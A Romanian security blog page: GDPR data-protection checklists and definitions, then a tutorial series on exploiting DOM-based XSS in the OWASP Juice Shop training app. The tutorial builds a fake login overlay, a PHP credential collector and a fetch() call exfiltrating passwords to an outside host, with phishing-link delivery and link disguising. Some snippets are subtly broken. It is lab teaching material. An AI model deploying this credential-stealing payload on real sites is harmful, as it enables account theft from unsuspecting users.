Categorii
gdpr

Masuri tehnico organizatorice pentru alinere GDPR site, GDPR magazin online

GDPR Checklist – Masuri tehnico organizatorice implementate

 

 

 

 

Categorii
gdpr

Securitatea Site-ului din perspectiva GDPR

Pentru a fi compliant cu cerintele GDPR trebuie sa te asiguri ca aspectele de mai jos sunt respectate si implementate pe site-ul tau, astfel incat datele colectate de tine prin intermediul site-ului sa fie in siguranta.

  • Asigura-te ca ai back-up la site si la date. Asigura-te ca arhivele sunt criptate si salvate intr-un loc sigur.
  • Datele colectate in baza de date (SQL) aferenta site-ului tau, sunt criptate.
  • Asigura-te ca informezi utilizatorul la Signup, cu privire la Politica de securitate implementata pe site.
  • Asigura-te ca ai implementat HSTS (HTTP Strict transport security) la SSL/TLS implementat pe site.
  • Asigura-te ca ai adaugat Javascript-urile externe, pe care le ai implementate pe site, ca si colectori de date in calitate de procesatori externi.
  • Asigura-te ca ai un firewall instalat pentru site.
  • Asigura-te ca ai un sistem de detectare a intruziunilor (monitorizare fisiere site permanent pentru detectare modificari, detectare inserare a unor Javascript-uri malicioase).
  • Inregistreaza-ti domeniul la HaveIbeenPwned pentru a fi notificat daca ti-au fost compromise email-urile.
  • Informeaza-ti utilizatorii ca ai o Politica de confidentialitate si cere-le acordul.
  • Implementeaza SSL /TLS pentru a securiza conexiunea utilizatorului cu site-ul.
  • Asigura-te ca toti angajatii si sub-contractorii cu care lucrezi au fost informati cu privire la prelucrarea datelor personale si a politicii de confidentialitate si semneaza acorduri cu ei.
  • Asigura-te ca ai loguri cu toate operatiile, accesarile care se fac pe site.

sursa: hackeradvisor.com

Categorii
gdpr

Scurt ghid despre protecția datelor în magazinele online

În ultima vreme, magazinele online au devenit din ce în ce mai populare, iar majoritatea afacerilor s-au mutat în mediul virtual, cu real succes. Chiar și tu ai decis să faci acest pas, deși obiectul tău de activitate este unul care presupune un contact vizual intens: arta. Din fericire, dacă știi cum să împaci partea legată de artă cu cea mai abstractă, a tuturor detaliilor care țin de organizarea unui site și nu numai, vei reuși să ai o afacere de succes. Vrem să te ajutăm și noi un pic și să îți oferim câteva informații de care ai nevoie.

Ce știi despre protecția datelor

Chiar dacă te preocupă mai mult partea artistică, trebuie să respecți și să implementezi un ghid GDPR  magazin online, mai exact să ai o politică de confidențialitate și o politică a cookie-urilor. Cel mai probabil știi despre ce este vorba, pentru că ai urmărit pe site-urile de știri informațiile legate de acest subiect. Pentru a fi mai bine lămurit despre ce este vorba, avem un mic ghid despre regulamentul GDPR, ce presupune el și mai ales, cum se aplică acesta în cazul tău.

Colectarea datelor trebuie făcută cu prudență!

Chiar dacă pontențialii clienți care îți vizitează magazinul tău online pentru a achiziționa, de exemplu, reproduceri după tablouri celebre sau tablouri cameră copii, tot trebuie să te achiți de o sarcină, respectiv colectarea datelor personale. Atenție însă: nu exagera! Nu te interesează informații privind sănătatea lor, cu ce formațiune politică simpatizează sau alte informații de acest gen. Tu trebuie să te limitezi strict la datele de care ai nevoie pentru a putea alcătui o factură și a le trimite apoi produsele dorite!

Marketing online!

Ai auzit desigur de termenul marketing online, și ai înțeles cum poate fi acesta aplicat și în cazul tău, care deții un magazin virtual care poate fi asemănat oarecum cu o galerie de artă online. Un pas important pe care trebuie să îl respecți, și care are legătură atât cu marketing-ul online, dar și cu regulamentul GDPR se referă la cererea consimțământului utilizatorilor pentru prelucrarea datelor lor. Apoi, dacă totul este în regulă, un newsletter, de două ori pe lună, sau lunar, este suficient, pentru a nu fi considerat prea ”agresiv” de către potențialii cumpărători ai produselor tale!

Stocarea datelor

Potrivit normelor legale aflate în vigoare, nu contează foarte mult locul în care stochezi aceste informații pe care le colectezi, dar trebuie să fii atent să fie respectate cele mai bune condiții de securitate. Poți apela la o firmă specializată care va face toate aceste operațiuni pentru tine, iar tu să te ocupi de ceea ce îți face cu adevărat plăcere: arta și modul în care reușești să-i faci și pe ceilalți să o aprecieze mai mult.

Sancțiuni și amenzi usturătoare

În cazul în care toate reglementările politicilor GDPR nu sunt respectate așa cum trebuie, riști niște sancțiuni sau amenzi destul de usturătoare. Așa că, deși ne repetăm, recomandarea noastră este să lași implementarea politicilor GDPR în magazinul tău online în seama unor specialiști, care știu exact ce trebuie făcut în acest sens!

Categorii
gdpr

Cerințele GDPR-ului vis-a-vis de securitatea datelor

GDPR cere ca datele personale să fie prelucrate într-o manieră care să le garanteze securitatea. Aceasta include protecția împotriva prelucrării neautorizate sau ilegale și împotriva pierderii, distrugerii sau deteriorării accidentale. Aceasta impune utilizarea unor măsuri tehnice sau organizatorice adecvate.

În conformitate cu articolul 32, în mod similar articolului 17 din directivă, controlorii și prelucrătorii trebuie să “implementeze măsuri tehnice și organizatorice adecvate”, ținând seama de “stadiul tehnicii și costurile implementării” și “natura, domeniul de aplicare, contextul și scopurile prelucrării, precum și riscul variabilității și gravității diferitelor drepturi și libertăți ale persoanelor vizate. “Spre deosebire de directivă, cu toate acestea, GDPR oferă sugestii specifice pentru ce tipuri de acțiuni de securitate ar putea fi considerate” adecvate riscului, “.

Pseudonimizarea și criptarea datelor cu caracter personal

Capacitatea de a asigura confidențialitatea, integritatea, disponibilitatea și reziliența proceselor și serviciilor de procesare.

Abilitatea de a restabili disponibilitatea și accesul la datele cu caracter personal în timp util, în cazul unui incident fizic sau tehnic.

Un proces de testare, evaluare și evaluare periodică a eficacității măsurilor tehnice și organizatorice pentru asigurarea securității prelucrării.

Controlorii și prelucrătorii care respectă fie un cod de conduită aprobat, fie un mecanism de certificare aprobat – în conformitate cu articolul 40 și cu articolul 42 – pot utiliza aceste instrumente pentru a demonstra conformitatea cu standardele de securitate ale GDPR.

Pentru îndrumări suplimentare privind standardele de securitate, controlorii și prelucrătorii pot lua în considerare considerentele, în special considerentele 49 și 71, care permit prelucrarea datelor cu caracter personal în moduri care altfel ar putea fi necorespunzătoare atunci când este necesar pentru a asigura securitatea și fiabilitatea rețelei.

De-identificare sau anonimizare

Un termen umbrelă pentru eliminarea sau mascarea informațiilor protejate. Într-un sens mai specific, procesul de dezidentificare elimină identificatorii dintr-un set de date, astfel încât nu mai este posibil să se raporteze informații la persoane. În contextul informațiilor din domeniul sănătății, de-identificarea are loc atunci când toți identificatorii (ID-urile, numele, adresele, numerele de telefon etc. – se află în lista precedentă de dezidentificare HL7 pentru o listă completă) sunt eliminate din setul de informații. În acest fel, identitatea pacientului este protejată, în timp ce majoritatea datelor rămân disponibile pentru partajarea cu alte persoane / organizații, analize statistice sau utilizări conexe.

Pseudonimizare

Un subset de anonimizare. Acest proces înlocuiește identificatorii elementelor de date cu noi identificatori, astfel încât relația cu obiectul inițial este înlocuită de un subiect complet nou. După înlocuire, nu mai este posibilă asocierea subiectului inițial cu setul de date. În contextul informațiilor privind asistența medicală, putem “pseudonimiza” informațiile pacienților prin înlocuirea datelor de identificare a pacienților cu date complet independente. Rezultatul este un nou profil de pacient. Datele continuă să pară complete, iar semantica datelor (semnificația datelor) este păstrată în timp ce informațiile despre pacient rămân protejate.

Re-identificare

Acest proces restabilește informațiile inițiale într-un set de date pseudonime. Pentru a re-identifica datele, va trebui să folosiți o serie de structuri de mapare inversă construite pe măsură ce datele sunt pseudonimizate. Există câteva cazuri de utilizare pentru re-identificare. Un exemplu ar fi transmiterea datelor pseudonime către un sistem extern de procesare. Odată ce informația procesată este returnată, aceasta va fi re-identificată și împinsă la dosarul pacientului potrivit.

Identificatori

Identificatorii sunt elemente de date care pot identifica direct indivizii. Exemple de identificatori includ, dar nu se limitează la numele, adresa de e-mail, numărul de telefon, adresa de domiciliu, numărul de securitate socială, numărul cardului medical (vezi postul anterior pentru o listă completă a identificatorilor HIPAA). În unele cazuri, este nevoie de mai mult de o variabilă de identificare pentru a identifica o persoană în mod unic. De exemplu, numele “John Smith” apare de mai multe ori în paginile albe. Cu toate acestea, trebuie să combinați numele cu un număr de telefon pentru a identifica dreptul de John Smith.

Cvasi-identificatorilor

Acestea sunt elemente de date care nu identifică direct o persoană, dar care oferă suficiente informații pentru a restrânge în mod semnificativ căutarea unui anumit individ. Unele cvasi-identificatori au fost studiate pe larg. Acestea includ sexul, data nașterii și codul poștal / codul poștal. Cvasi-identificatorii sunt în mare măsură dependenți de tipul de set de date. De exemplu, sexul nu va fi un cvasi-identificator semnificativ dacă toate persoanele fizice sunt femei. Un alt lucru interesant despre cvasi-identificatori: ele sunt categorice în natură, cu un set finit de valori discrete. Cu alte cuvinte, sexul, datele de naștere pe o perioadă de mai puțin de 150 de ani și adresa sunt finite. Acest lucru face căutările simple. Persoanele fizice sunt relativ ușor de identificat folosind cvasi-identificatori.

Non-identificatorii

Aceste elemente de date pot conține informații personale despre persoane, dar nu sunt utile pentru reconstituirea informațiilor inițiale. De exemplu, un indicator privind dacă o persoană are alergii la polen ar fi cel mai probabil un element de date care nu identifică. Incidența alergiei la polen este atât de mare în populație încât nu ar fi un bun discriminator printre indivizi. Din nou, elementele de date fără identificatori depind de seturile de date. Într-un context diferit, acest element de date vă poate permite să identificați indivizii.

Criptarea simetrică

Criptarea simetrică este cea tradițională, care funcționează în felul următor: pe un computer se realizează criptarea informațiilor cu ajutorul unui algoritm și o anume cheie. Apoi, informația criptată pleacă (fără măsuri de protecție specială) către destinatar. Destinatarul va vedea informația în clar, o va putea decodifica, doar dacă are cheia corespondentă. Dacă o are, o aplică fișierului criptat și are astfel acces la informație în clar.

Algoritmii cu cheie secretă sunt caracterizați de faptul că folosesc aceeași cheie atât în procesul de criptare, cât și în cel de decriptare. Din acest motiv, acești algoritmi mai sunt cunoscuți sub numele de algoritmi simetrici; pentru aplicarea lor este necesar ca înaintea codificării / decodificării, atât emițătorul cât și receptorul să posede deja cheia respectivă. În mod evident, cheia ce caracterizează acești algoritmi trebuie să fie secretă.

Criptarea simetrică prezintă avantajul rapidității cu care sunt realizate procesele de criptare / decriptare a mesajelor. Succesul sistemului se bazează pe dimensiunea cheii. Dacă are mai mult de 128 biți este una destul de sigură, deci sigură în exploatare. Cele trei caracteristici ale criptării simetrice sunt siguranța, rapiditatea și volumul mare de date criptate.

Principalul dezavantaj al algoritmilor simetrici constă în faptul că impun un schimb de chei private înainte de a se începe transmisia de date. Altfel spus, pentru a putea fi utilizați, este necesar un canal cu transmisie protejată pentru a putea fi transmise cheile de criptare / decriptare.

Problema cea mai importantă în acest sistem de criptare, folosit cu preponderență de guvernele țărilor lumii, este păstrarea secretului cheilor folosite și transferul acestora între utilizatori aflați uneori la mari distanțe. Deconspirarea acestora duce la compromiterea sistemelor de criptare folosite.

Funcțiile hash

În sens matematic, funcțiile hash (clasă de funcții denumite în lucrări de specialitate și funcții de dispersie sau funcții de rezumat) sunt funcții definite pe o mulțime cu multe elemente (posibil infinită) cu valori într-o mulțime cu un număr fix și mai redus de elemente. Funcțiile hash nu sunt inversabile. În informatică, funcțiile hash sunt folosite pentru a accelera căutările în tabele, cum este cazul în bazele de date mari sau comparările de date. Valoarea unei funcții hash este denumită rezumat, valoare hash, cod hash, sumă hash sau doar hash. De asemenea, pot fi folosite drept sume de control sau coduri corectoare de erori (deși nu trebuie confundate cu acestea două), sau, în criptografie, drept componente în schemele de semnătură digitală.

O funcție hash poate lega două sau mai multe chei de la aceeași valoare hash. În multe aplicații, este de dorit minimalizarea șansei apariției unor astfel de coliziuni, ceea ce înseamnă că funcția hash trebuie să lege cheile de valorile hash cât mai uniform posibil. De asemenea, în funcție de aplicație, alte proprietăți pot fi necesare. Deși ideea a fost concepută în anii 1950, proiectarea optimă a funcțiilor hash este încă un subiect activ de cercetare și discuție. Funcțiile hash sunt utilizate și ca sume de control sau funcții hash criptografice, dar nu trebuie confundate cu caracterele de verificare, amprentele numerice, funcțiile de randomizare, codurile de corectare a erorilor. Deși aceste concepte se suprapun într-o oarecare măsură, fiecare are propriile sale utilizări și cerințele și este proiectat și optimizat în mod diferit.

Sisteme de Backup&Restore

Backup-ul este metoda prin care creezi copii de siguranță ale sistemului de operare și / sau ale fișierelor stocate pe calculatorul personal. În principiu, deși există numeroase soft-uri dedicate acestui proces, cel mai simplu mod de a face un backup este cu ajutorul uneltelor incluse în sistemul de operare. Microsoft ne oferă pentru Vista și Windows 7 un utilitar de backup gratuit și ușor de utilizat.

Semnătura digitală

O semnătură digitală se utilizează pentru a autentifica informațiile digitale — cum ar fi documente, mesaje de poștă electronică și macro comenzi — utilizând criptografia informatică. Semnăturile digitale atestă următoarele:

 Autenticitate Semnătura digitală contribuie în a asigura că semnatarul este cel care pretinde că este.

 Integritate Semnătura digitală contribuie în a asigura că un conținut nu a fost modificat sau alterat de la momentul în care a fost semnat digital.

 Nerepudiere Semnătura digitală contribuie în a demonstra tuturor părților care este originea conținutului semnat. „Repudiere” se referă la acțiunea unui semnatar care neagă orice asociere cu conținutul semnat.

Pentru aceste asigurări, conținutul trebuie să fie semnat digital de creatorul de conținut, utilizând o semnătură ce îndeplinește următoarele criterii:

 Semnătura digitală este validă.

 Certificatul asociat semnăturii digitale este curent (neexpirat).

 Persoana sau organizația care semnează, cunoscută cu numele de editor, este de încredere.

 Certificatul asociat cu semnătura digitală a fost emis către editorul semnatar de o autoritate de certificare (CA)recunoscută.

Programele 2007 Microsoft Office system detectează aceste criterii și vă avertizează dacă există o problemă cu semnătură digitală. Pentru detalii, citiți ultima secțiune din acest articol Cum se poate spune dacă o semnătură digitală este de încredere.

Steganografie

Steganografia este o tehnică care permite utilizatorilor să ascundă mesaje în alte mesaje, aplicând tehnici steganografice și watermarking digital este posibilă ascunderea unor informații privind drepturile de autor, cum ar fi numele autorului, data apariției, etc.

Unul dintre cele mai întâlnite formate electronice sub care se găsesc informațiile în zilele noastre este imaginea digitală. Steganografia pentru imagini reprezintă procesul de modificare a datelor din imagini astfel încât să se poată insera diverse informații. În această lucrare voi analiza metodele folosite pentru ascunderea informației în imagini.

Categorii
devirusare site

Exploatarea vulnerabilitatii Cross site scripting – partea VI

Cum adaugam functionatitatea formularului de a trimite datele la serverul atacatorului ?

Să adăugăm funcționalitatea pentru a trimite datele colectate de formularul nostru, folosind cod JavaScript. In acest sens trebuie să creem fișierul PHP care va salva datele de logare colectate de formular. Pentru a face acest lucru, să mergem la Codeanywhere și să creăm un fișier nou numit credentials.php

In primul rand vom folosi functia error_reporting pentru a impiedica PHP sa afiseze erorile direct in consola.

error_reporting(0);

Mai departe, vom defini o variabilă numită $user pentru a stoca valoarea numelui de utilizator. După cum observați, în limbajul PHP, variabilele încep cu un semn dolar ($). Valoarea numelui de utilizator ne va fi transmisă ca parametru în șirul de interogare al adresei URL.

Pentru a accesa parametrii trecuți în URL, putem folosi $ _GET. Variabila $ _GET conține toți parametrii și valorile trecute în șirul de interogare al adresei URL. Șirul de interogare este partea care vine după simbolul (?) si este compus din perechi de valori cheie separate printr-un semn „ampersand” (&) astfel:

?parameter0=value0&parameter1=value1&parameter2=value2

Pentru a accesa valoarea variabilei parameter, vom folosi $_GET[“parameter”].

In cazul nostru particular, pentru a accesa valorile user si parola vom folosi:

$user = $_GET[“user”];
$pass = $_GET[“pass”];

Dupa ce recuperam numele de utilizator și parola din adresa URL, le vom salva într-un fișier pe care l-am numit credentials.txt. Pentru a face acest lucru, să deschidem fișierul utilizând funcția fopen. Există mai multe moduri pentru a deschide un fișier pentru a lucra cu acesta. În acest caz, vom deschide fișierul cu modul a +, ceea ce înseamnă următoarele:

  1. Daca fisierul nu exista, creaza-l
  2. Daca fisierul exista, deschide-l si adauga continut in el

$file = fopen(“credentials.txt”, “a+”);

Acum să scriem numele de utilizator și parola în acest fișier. Pentru a face acest lucru, folosim funcția fwrite. Trebuie să transmitem funcției fwrite o referință la fișier, în cazul nostru variabila $file și apoi conținutul pe care dorim să-l scriem. Simbolul punct concatenează (unește) șiruri, iar \n înseamnă ca introducem o linie nouă:

fwrite($file, $user . “, ” . $pass . “\n”);

Odată ce terminăm de lucrat cu fișierul, ar trebui să îl închidem pentru a ne asigura că modificările sunt salvate corect în fișierul credentials.txt:

fclose($file);

Salvam continutul credentials.php care ar trebui sa arate asa:

Daca-l accesam direct vom vedea o pagina goala, deoarece scriptul nu primeste in URL parametrii user si parola.

Daca in schimb testam fisierul completand in URL parametrii user si parola si tastam Enter https://h9demoxss-h9articlexss483243.codeanyapp.com/credentials.php?user=testuser&pass=testpass

chiar dacă pare că nu s-a întâmplat nimic, dacă ne întoarcem in Codeanywhere, vom putea vedea un nou fișier numit credentials.txt care conține valorile trecute în șirul de interogare pentru user și pass:

Acum că ne-am testat fișierul credentials.php și vedem că funcționează, să codam funcționalitatea formularului astfel încât, atunci când utilizatorul face clic pe butonul Verify, numele de utilizator și parola vor fi trimise la această adresă URL.

În Codeanywhere deschideți fișierul JavaScript. În primul rând, vom adăuga ceea ce se numește un event handler. Un event handler ne permite să răspundem la diferite evenimente care se pot avea loc într-o pagină web. În cazul nostru, suntem interesați de trimiterea (submit) formularului.

Pentru a adăuga un event handler, folosim metoda addEventListener, trecând ca argument numele evenimentului pe care dorim să îl gestionăm (Submit în cazul nostru) și apoi o funcție cu cod pe care dorim să o executăm de fiecare dată când se întâmplă evenimentul. Codul arată astfel:

form.addEventListener(“submit”, event => {});

The event=>{} este un alt mod de a defini o functie.
In loc sa o declarati:

function(event){}  puteti sa o definiti astfel:

event => {}

În interiorul parantezelor {} se trece codul JavaScript care va fi executat la trimiterea formularului.

Primul lucru pe care vrem să îl facem este să prevenim comportamentul implicit al evenimentului de trimitere (Submit).

De fiecare dată când trimitem un formular, în mod implicit, browserul redirecționează utilizatorul către adresa URL care figurează în atributul de acțiune al formularului. Cu toate acestea, în acest caz, nu vrem
utilizatorului să fie redirecționat către serverul nostru, dorim ca acesta să rămână pe loc, pe pagina. Pentru a preveni acest comportament implicit, folosim metoda preventDefault  a evenimentului Submit:

event.preventDefault();

În continuare, să trimitem credentialele la adresa URL a serverului nostru. Pentru a face acest lucru, vom folosi funcția fetch. Mai întâi să copiem adresa URL unde dorim să trimitem numele de utilizator și parola utilizatorului, ceva gen:

‘https://h9demoxss-h9articlexss483243.codeanyapp.com/credentials.php?user=testuser&pass =testpass’

Prin urmare, de fiecare dată când cineva face clic pe butonul de trimitere (Verify), numele de utilizator și parola introduse în formular vor fi incluse în adresa URL. De asemenea, în scopul acestei demonstrații și pentru a evita problemele cu CORS (Cross-Origin Resource Sharing), pe lângă adresa URL ca prim argument pentru funcția de preluare, vom trece un al doilea argument care setează proprietatea modului cererii pentru a avea valoare no-cors. Codul va arăta astfel:

fetch(‘https://h9demoxss-h9articlexss483243.codeanyapp.com/credentials.php?user=${userInput.v alue}&pass=${passInput.value}’,{mode: “no-cors”});

In final ascundem div-ul, ca sa pastram utilizatorul pe pagina OWASP Juice shop.

div.style.display = “none”;

In final codul va arata asa:

Salveaza fisierul.

Accesați aplicația OWASP Juice Shop și utilizați <script src= ></script> pentru a încărca scriptul nostru in caseta de cautare Search, așa cum am făcut înainte:

<script src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>

Dupa ce accesati butonul Search, se va afisa formularul nostru care va solicita verificarea user /parola.

Completam la user “you@got.me” si la parola “donottellanyone”. Daca mergem acum si deschidem fisierul credentials.txt vom vedea colectate informatiile completate in formular.

Cu aceasta am incheiat aceasta demonstratie.

Acest atac poate fi livrat doar prin partajarea următorului link printr-un e-mail de phishing, printr-un site web malicios, sau doar lăsând o notă în secțiunea de comentarii:

https://h9demoxss-juice-shop.herokuapp.com/#/search?q=<script+src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>

Sunt, de asemenea, multe tehnici de a ascunde un link, cum ar fi aceasta:

<a href=’https://h9demoxss-juice-shop.herokuapp.com/#/search?q=<script+src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>’>Google</a>

Categorii
devirusare site

Exploatarea vulnerabilitatii Cross site scripting – partea V

Cum adaugam intrari in Bowser history ?

Să ne întoarcem in contul Codeanywhere. În continuare, vom arăta cum putem adăuga intrări în istoricul browserului și cum putem modifica adrese URL.

Browserul ne permite să adăugăm intrări în istoricul browserului folosind API-ul istoric. Nu putem schimba domeniul, dar putem schimba calea sau adresa URL cu a fi ceea ce dorim. Funcția API-ului istoric al browserului care ne permite să facem acest lucru se numeste pushState. Primele două argumente ale functiei pushState pot fi ignorate (setate “”) pentru scopurile noastre, iar al treilea este noua cale pe care vrem să o salvam în istoricul browserului.

De exemplu, daca vrem să schimbăm calea către

…./ account/verification utilizam urmatoarul cod:

history.pushState(“”, “”, “/account/verification”);

Salvați fișierul cu acest cod in contul Codeanywhere, accesați OWASP Juice Shop și, în formularul de căutare, utilizați etichetele <script src= > </script> pentru a încărca scriptul nostru. În cele din urmă, apăsați butonul Search si veti observa ca s-a produs modificarea istoricului browserului, salvandu-se calea cu /account/verification.

Așadar, am demonstrat că, pe lângă descărcarea de scripturi din surse externe, un atacator poate folosi codul JavaScript pentru a modifica adresa URL și istoricul browserului.

Cum modificam aspectul paginii web ?

 

Acum vom modifica aspectul vizual al paginii web. De exemplu, să punem un strat semi-transparent în fața. Cum putem face asta ?

Trebuie să creem o secțiune sau un element div, să setam câteva proprietăți CSS din JavaScript și apoi să plasam elementul în interiorul body tag-ului. Dar să mergem pas cu pas.

Putem crea elemente HTML folosind funcția document.createElement. De exemplu, dacă dorim să creăm un element div, putem coda:

let div = document.createElement(“div”);

Putem aplica proprietati CSS elementului folosind propritatea style, astfel:

div.style.width = “100%”;

Sa incepem sa facem layer-ul nostru. Vrem ca elementul div sa acopere toata latimea ecranului:

div.style.width = “100%”;
div.style.height = “100vh”;
div.style.position = “absolute”;
div.style.top = 0;
div.style.left = 0;
div.style.zIndex = 99999;
div.style.background = “rgba(255, 255, 255, .5)”;

În cele din urmă, să adăugăm acest div ca element secundar al body-ului folosind funcția appendChild astfel:

document.body.appendChild(div);

Codul complet va arata astfel:

Și așa cum am procedat anterior, salvați fișierul, accesați OWASP Juice Shop și, în formularul de căutare, utilizați etichetele <script src=></script> cu src= calea fisierului salvat in Codeanywhere.

Dupa ce apasati Search, veți vedea că codul JavaScript este executat și întreaga pagină este acoperită de un strat alb semi-transparent.

Prin urmare, acest lucru demonstrează că suntem capabili să schimbăm aspectul vizual al paginii. Cu toate acestea, acest lucru nu este foarte util. Dar, ce se întâmplă dacă adăugăm un formular web în interiorul div-ului nostru, care solicită utilizatorului sa-si completeze parola pentru a aceesa contul ?

Cum adaugam un formular care solicita utilizatorului sa-si completeze parola ?

Pentru a face acest lucru, vom urma aceeași procedură, vom crea elementul formular și apoi îl vom adăuga în interiorul div -ului. Îmi cer scuze, sunt destul de departe de a fi un CSS pro, așa că stilul formularului nu va fi grozav, dar va ilustra ceea ce dorim sa aratam.

Să începem să codam formularul prin crearea elementului HTML la fel cum am făcut înainte:

let form = document.createElement(“form”); HTML forms

Formularele HTML au de obicei urmatoarele doua atribute:

  • action (the URL of the server-side script that will handle the form
  • method (the HTTP method to be used

Pentru a seta aceste atribute, putem folosi metoda setAttribute a elementului form pe care tocmai l-am creat. Mai întâi, setați atributul metodei. În acest caz, nu contează dacă utilizați GET sau POST deoarece vom trimite formularul folosind cod JavaScript:

form.setAttribute(“method”, “post”);

Apoi setați atributul action. Adresa URL va indica catre un script PHP numit credentials.php pe care îl vom coda imediat după ce terminam formularul:

form.setAttribute(“action”, “https://h9demoxss-h9articlexss483243.codeanyapp.com/credentials.php”);

Mai departe, sa lucram putin pe elementele de stil ale formularului.

form.style.width = “40%”;
form.style.margin = “20px auto”;
form.style.padding = “20px”;
form.style.border = “2px dashed red”;

Acum să creăm elementele HTML care vor fi în interiorul formularului. De exemplu, să punem o etichetă de titlu pentru a indica utilizatorului că este necesară o verificare a contului. Pașii sunt aceiași; creăm elementul de heading HTML. Un H1 în acest caz:

let formTitle = document.createElement(“h1”);
formTitle.style.color = “red”;
formTitle.style.textAlign = “center”;

Apoi setam textul efectiv in interiorul acestui H1:

formTitle.textContent = “Account Verification Needed!”;

Mai departe, trebuie sa creem campurile de input ale acestui formular care sa permita completarea username-ului si a password-ului.

Sa incepem prin a crea campul / inputul necesar pentru solicitarea username-ului:

let userInput = document.createElement(“input”);
userInput.setAttribute(“type”, “text”);
userInput.setAttribute(“name”, “user”);
userInput.setAttribute(“placeholder”, “username”);
userInput.style.display = “block”;
userInput.style.width = “100%”;
passInput.style.fontSize = “1.3em”;
passInput.style.padding = “4px”;
userInput.style.textAlign = “center”;

Acum ca am creat elementul input pentru username, pentru parola trebuie sa fie similar:

let passInput = document.createElement(“input”);
passInput.setAttribute(“type”, “password”);
passInput.setAttribute(“name”, “pass”);
passInput.setAttribute(“placeholder”, “password”);
passInput.style.display = “block”;
passInput.style.width = “100%”;
passInput.style.fontSize = “1.3em”;
passInput.style.padding = “4px”;
passInput.style.textAlign = “center”;

Ca sa finalizam formularul, mai trebuie sa adaugam butonul Submit. Butonul Submit este un alt tip de element care trebuie adaugat formularului deja creat. Procedam ca in cazul anterior:

let submitButton = document.createElement(“input”);
submitButton.setAttribute(“type”, “submit”);
submitButton.setAttribute(“display”, “block”);
submitButton.setAttribute(“value”, “Verify”); *** butonul Submit va afisa textul Verify
submitButton.style.display = “block”;
submitButton.style.width = “100%”;
submitButton.style.fontSize = “1.3em”;
submitButton.style.padding = “4px”;

Toate elementele formularului fiind create, mai ramane sa le adaugam (append) la formular:

form.appendChild(formTitle);
form.appendChild(userInput);
form.appendChild(passInput);
form.appendChild(submitButton);
div.appendChild(form);

Salvam fisierul h9demo.js pe Codeanywhere, si accesam butonul de cautare din headerul aplicatiei OWASP Juice Shop, cum am procedat si in cazurile anterioare, dupa ce completam in prealabil caseta de cautare cu:

<script src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>

Rezultatul ar trebui sa fie urmatorul:

În acest moment, formularul nu face nimic. Trebuie sa adăugăm funcționalitatea pentru a permite receptionarea informatiilor username si password completate de utilizator in formular, folosind cod JavaScript. Pentru acesta, trebuie să codam un fisier PHP care va salva aceste informatii din formularul nostru.

Categorii
devirusare site

Exploatarea vulnerabilitatii Cross site scripting – partea IV

Citeste si:
Anatomia unui atac Cross Site scripting – partea III
Anatomia unui atac Cross Site scripting – partea II
Anatomia unui atac Cross Site scripting – partea I

Exploatarea unei vulnerabilitati Cross site scripting

După cum probabil știți, eticheta <script> a limbajului HTML nu vă permite doar să executați codul JavaScript în cadrul etichetelor de script <script></script> ci și să încărcați un script de pe orice alt server web utilizând atributul src. Pentru a-l testa, mergeti in contul Codeanywhere, faceți clic dreapta pe container și selectați Creați fișier din meniu:

Odată creat fișierul putem începe codarea. Primul lucru pe care îl vom face este să ne izolăm propriul cod JavaScript pentru a evita problemele legate de codul JavaScript legitim, existent din pagină.

Pentru exemplificare, deschideti instrumentele de dezvoltator ale browserului Chrome apăsând tasta F12 și apoi faceți clic pe fila Consolă. Aici puteți modifica codul JavaScript. Să declarăm o variabilă numită x și apoi să încercăm să declarăm o altă variabilă numită x. Deoarece variabila x a fost deja declarată, a doua oară când încercați să o declarați, se declanșează următoarea eroare:

Deci, în codul nostru, dacă numim o variabilă div, iar în codul legitim din pagina există o altă variabilă numită div, codul nostru nu va funcționa deoarece nu putem declara o variabilă care a fost deja declarată. Pentru a evita conflictele de genul acesta, în loc să folosim variabile globale, vom crea o funcție care va fi imediat invocată conținând toate variabilele. Deoarece JavaScript are function scope, toate variabilele create în interiorul funcției nu vor intra in conflict cu variabilele din afara funcției.

Pentru a invoca imediat o funcție, trebuie să înconjurați funcția între paranteze și apoi să puneți un alt set de paranteze ():

( function ( ) {

// aici puneti codul functiei

}) ( ); acest set de paranteze invoca imediat functia continuta in primul set de paranteze

Testam si in cazul nostru ca merge, afisand textul “Hi from anywhere!”:

Salvați fișierul. Apoi accesați OWASP Juice Shop și, în formularul de căutare, in campul Search, utilizați etichetele <script src></script> pentru a încărca scriptul nostru astfel:

<script src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>

 

Daca apasati butonul Search, după cum se poate vedea, codul JavaScript se execută după ce a fost descărcat de pe serverul web pe care îl avem în Codeanywhere:

Deci, tocmai am demonstrat ca această vulnerabilitate permite să fie incarcate fișiere JavaScript de pe orice server dorit de atacator. De asemenea, putem ataca orice client al site-ului Juiceshop prin simpla distribuire a următorului link printr-un e-mail de phishing, secțiunea de comentarii a unei pagini web, sau printr-un site creat special în acest scop:

https://h9demoxss-iuice-shop.herokuapp.com/#/search?q=<script+src=”https://h9demoxss-h9articlexss48.324.3.co deanyapp.com/h9demo.js”></script>

Categorii
devirusare site

Anatomia unui atac Cross Site scripting – partea III

Demo – DOM-Based XSS

Acum că am pregatit mediul de lucru pentru demo, vom arăta cum să exploatam o vulnerabilitate în codul JavaScript pe partea de client (browser) pentru a efectua un atac Cross-site scripting.

În acest atac:
• Codul malitios va modifica adresa URL
• Codul malitios va adăuga o intrare în istoricul browserului
• Codul malitios va modifica aspectul vizual al paginii curente
Scriptul care conține codul malitios va fi descărcat de pe un server web extern, mai exact serverul web pregatit de noi pe Codeanywhere.

Gasirea vulnerabilitatii

Una dintre primele task-uri pe care trebuie să le efectuați atunci când auditați o aplicație web, este să accesați cu crawlere sau să pătrundeți transversal site-ul pentru a găsi fișierele și directoarele legate. Această acțiune vă poate ajuta să descoperiți puncte interesante pentru testări suplimentare, cum ar fi formulare de cautare, etc.

În cazul nostru, avem un formular de căutare în bara de navigare din partea de sus a paginii. Facem un test folosing un text oarecare in bara de cautare. Putem vedea în adresa URL din browser, că textul folosit la căutare apare după un semn hash (#).

https://h9demoxss-juice-shop.herokuapp.com/#/search

Partea care începe de la semnul hash (#) este cunoscută sub numele de fragmentul adresei URL și este o parte care este, de obicei, gestionată de cod JavaScript pe partea clientului (browserul client).

